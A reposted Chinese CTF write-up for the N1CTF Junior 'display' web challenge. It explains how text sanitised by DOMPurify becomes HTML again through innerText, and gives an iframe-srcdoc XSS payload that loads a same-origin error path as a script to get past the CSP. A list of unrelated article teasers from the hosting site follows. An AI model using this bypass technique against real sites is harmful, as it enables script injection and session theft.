CTF-WEB: 利用iframe標簽利用xss,waf過濾后再轉換漏洞-- N1ctf Junior display

核心邏輯

// 獲取 URL 查詢參數的值  
function getQueryParam(param) {  // 使用 URLSearchParams 從 URL 查詢字符串中提取參數  const urlParams = new URLSearchParams(window.location.search);  // 返回查詢參數的值  return urlParams.get(param);  
}  // 使用 DOMPurify 對內容進行清理(sanitize),防止 XSS 攻擊  
function sanitizeContent(text) {  // 只允許 <h1>, <h2> 標簽和純文本  const config = {  ALLOWED_TAGS: ['h1', 'h2']  // 配置允許的標簽  };  // 返回清理后的內容,DOMPurify 會移除不允許的標簽和潛在的危險內容  return DOMPurify.sanitize(text, config);  
}  // 當 DOM 完全加載后執行的代碼  
document.addEventListener("DOMContentLoaded", function() {  // 獲取頁面中輸入框、按鈕和內容顯示區域的 DOM 元素  const textInput = document.getElementById('text-input');  const insertButton = document.getElementById('insert-btn');  const contentDisplay = document.getElementById('content-display');  // 獲取 URL 查詢參數中的 'text' 參數  const queryText = getQueryParam('text');  // 如果查詢參數 'text' 存在  if (queryText) {  // 解碼并清理傳入的文本,atob 用于解碼 base64,decodeURI 處理 URL 編碼  const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));  // 如果清理后的文本不為空  if (sanitizedText.length > 0) {  // 將清理后的文本設置為輸入框的內容(innerHTML 用于處理 HTML 標簽)  textInput.innerHTML = sanitizedText;  // 將清理后的文本設置為預覽區的顯示內容  contentDisplay.innerHTML = textInput.innerText;  // 啟用插入按鈕  insertButton.disabled = false;  } else {  // 如果清理后的文本為空,顯示警告信息  textInput.innerText = "Only allow h1, h2 tags and plain text";  }  }  
});

過濾后再轉換,sanitizedText在經過.innerText時其中的HTML實體會被轉換為字符串。

當訪問不存在頁面時會返回路徑名,可以利用這一點來構造腳本執行

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5/1 : invalid path

使用<iframe srcdoc=url>來在屬性值中嵌入 HTML 內容,并在其中嵌套<script src=url>來繞過安全策略,使用**/// 閉合

<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
  • 注意字符串包裹方式依次為 " ' `
  • 因為js支持使用反引號包裹字符串

參考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895570.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895570.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895570.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

晶閘管主要參數分析與損耗計算

1. 主要參數 斷態正向可重復峰值電壓 :是晶閘管在不損壞的情況下能夠承受的正向最大阻斷電壓。斷態正向不可重復峰值電壓 :是晶閘管只有一次可以超過的正向最大阻斷電壓,一旦晶閘管超過此值就會損壞,一般情況下 反向可重復峰值電壓 :是指晶閘管在不損壞的情況下能夠承受的…

el-select 設置寬度 沒效果

想實現下面的效果&#xff0c;一行兩個&#xff0c;充滿el-col12 然后設置了 width100%,當時一直沒有效果 解決原因&#xff1a; el-form 添加了 inline 所以刪除inline屬性 即可

Python創建FastApi項目模板

1. 項目結構規范 myproject/ ├── app/ │ ├── core/ # 核心配置 │ │ ├── config.py # 環境配置 │ │ └── security.py # 安全配置 │ ├── routers/ # 路由模塊 │ │ └── users.py # 用戶路由 │ ├…

面試完整回答:SQL 分頁查詢中 limit 500000,10和 limit 10 速度一樣快嗎?

首先&#xff1a;在 SQL 分頁查詢中&#xff0c;LIMIT 500000, 10 和 LIMIT 10 的速度不會一樣快&#xff0c;以下是原因和優化建議&#xff1a; 性能差異的原因 LIMIT 10&#xff1a; 只需要掃描前 10 條記錄&#xff0c;然后返回結果。 性能非常高&#xff0c;因為數據庫只…

一款利器提升 StarRocks 表結構設計效率

CloudDM 個人版是一款數據庫數據管理客戶端工具&#xff0c;支持 StarRocks 可視化建表&#xff0c;創建表時可選擇分桶、配置數據模型。目前版本持續更新&#xff0c;在修改 StarRocks 表結構方面進一步優化&#xff0c;大幅提升 StarRocks 表結構設計效率。當前 CloudDM 個人…

數量5 - 平面圖形、立體幾何

目錄 一、平面幾何問題1.三角形2.其他圖形二、立體幾何與特殊幾何1.表面積2.體積3.等比放縮(簡單)4.幾何最值(簡單)5.最短路徑一、平面幾何問題 平面圖形: 立體圖形: 1.三角形 特殊直角

CAS單點登錄(第7版)7.授權

如有疑問&#xff0c;請看視頻&#xff1a;CAS單點登錄&#xff08;第7版&#xff09; 授權 概述 授權和訪問管理 可以使用以下策略實施授權策略以保護 CAS 中的應用程序和依賴方。 服務訪問策略 服務訪問策略允許您定義授權和訪問策略&#xff0c;以控制對向 CAS 注冊的…

53倍性能提升!TiDB 全局索引如何優化分區表查詢?

作者&#xff1a; Defined2014 原文來源&#xff1a; https://tidb.net/blog/7077577f 什么是 TiDB 全局索引 在 TiDB 中&#xff0c;全局索引是一種定義在分區表上的索引類型&#xff0c;它允許索引分區與表分區之間建立一對多的映射關系&#xff0c;即一個索引分區可以對…

排序(Sortable)

排序&#xff08;Sortable&#xff09; 引言 在計算機科學和數據管理領域&#xff0c;排序算法是一項基本且重要的技能。排序算法能夠將一組無序的數據轉換為有序的數據&#xff0c;從而便于后續的數據處理和分析。本文將深入探討排序算法的基本概念、常用排序方法、以及它們…

紫光展銳蜂窩物聯網芯片V8850榮獲國密一級安全認證

近日&#xff0c;紫光展銳蜂窩物聯網芯片V8850榮獲國密一級認證&#xff0c;標志著展銳V8850在安全能力方面獲得權威認可&#xff0c;位居行業領先水平。這是紫光展銳繼短距物聯網芯片V5663在2020獲得ARM PSA Level 2認證&#xff0c;蜂窩物聯網芯片V8811在2021年獲得ARM PSA L…

I.MX6ull-I2C

一,I2C總線介紹 I2C(Inter-Integrated Circuit 集成電路)總線是Philips公司在八十年代初推出的一種串行、半雙工的總 線&#xff0c;主要用于近距離、低速的芯片之間的通信&#xff1b;I2C總線有兩根雙向的信號線&#xff0c;一根數據線SDA用于收 發數據&#xff0c;一根時鐘線…

書籍推薦:《書法課》林曦

記得樊登老師說過&#xff0c;如果你想了解一個事物&#xff0c;就去讀5本相關的書&#xff0c;你會比大部分人都更了解它。這是我讀的第4本和“書法”有關的書&#xff0c;作為一個零基礎的成年人&#xff0c;林曦這本《書法課》非常值得一讀。&#xff08;無論你是否寫字&…

【大疆無人機地圖測繪技術學習:高精度、高效率的全流程解決方案】

文章目錄 大疆無人機地圖測繪算法詳解一、數據采集&#xff08;一&#xff09;飛行平臺與傳感器&#xff08;二&#xff09;航線規劃&#xff08;三&#xff09;數據類型 二、數據處理與建模&#xff08;一&#xff09;數據導入與預處理&#xff08;二&#xff09;空三計算&…

【刪除tomcat默認管理控制臺】

停止Tomcat&#xff1a; ./catalina.sh stop 刪除管理控制臺應用&#xff1a; 進入Tomcat的webapps目錄&#xff1a; cd /path/to/tomcat/webapps List item 刪除manager和host-manager文件夾&#xff1a; rm -rf manager host-manager 啟動Tomcat&#xff1a; ./catali…

工具資料+H3C 交換機常見故障分析排查+高危操作

當我們從客戶那里接到一個故障時,我們根據現象讓客戶收集一堆信息,然后集成商、代理商、設備廠家一級一級的反復咨詢與確認,天天經歷這樣的場景。幾乎每個故障我們都要經過多個層級的人處理,信息的交流占據了每個人大部分的時間,反復的收集信息與確認問題現象也會讓客戶不厭其煩…

STM32:USB 虛擬串口以及使用usb->dfu進行iap

本文介紹stm32上usb的常用功能虛擬串口和DFU(Download Firmware Update) 文章目錄 前言一、usb二、虛擬串口1.cubemx配置1.我們選用高速usb&#xff0c;然后選擇內部低速的phy&#xff0c;這樣使用的usb&#xff0c;最高速度為12Mbit每秒。2.USB_DEVICE cdc類配置3.時鐘配置&am…

HCIA項目實踐--靜態路由的綜合實驗

八 靜態路由綜合實驗 &#xff08;1&#xff09;劃分網段 # 192.168.1.0 24#分析&#xff1a;每個路由器存在兩個環回接口&#xff0c;可以把兩個環回接口分配一個環回地址&#xff0c;所以是四個環回&#xff0c;一個骨干&#xff0c;這樣分配&#xff0c;不會出現路由黑洞#19…

C++基礎知識(三)之結構體、共同體、枚舉、引用、函數重載

九、結構體、共同體和枚舉 1、結構體的基本概念 結構體是用戶自定義的類型&#xff0c;可以將多種數據的表示合并到一起&#xff0c;描述一個完整的對象。 使用結構體有兩個步驟&#xff1a;1&#xff09;定義結構體描述&#xff08;類型&#xff09;&#xff1b;2&#xff…

通過內網穿透ssh實現遠程對家里的linux進行終端操作和編程

內網穿透就是將自己的地址當穿透到公網ip&#xff0c;這一就可以在外網訪問了(因為大部分人ip都是動態分配的)&#xff0c;以適用ssh遠程連接&#xff0c;我這里用的是極點云cpolar&#xff0c;反正也是黑框編程&#xff0c;免費就行了。我是ubuntu虛擬機&#xff0c;在虛擬機上…

Redis 數據類型 Zset 有序集合

有序集合相對于字符串、列表、哈希、集合來說會有?些陌?。它保留了集合不能有重復成員的特點&#xff0c;但與集合不同的是&#xff0c;有序集合中的每個元素都有?個唯?的浮點類型的分數&#xff08;score&#xff09;與之關 聯&#xff0c;著使得有序集合中的元素是可以維…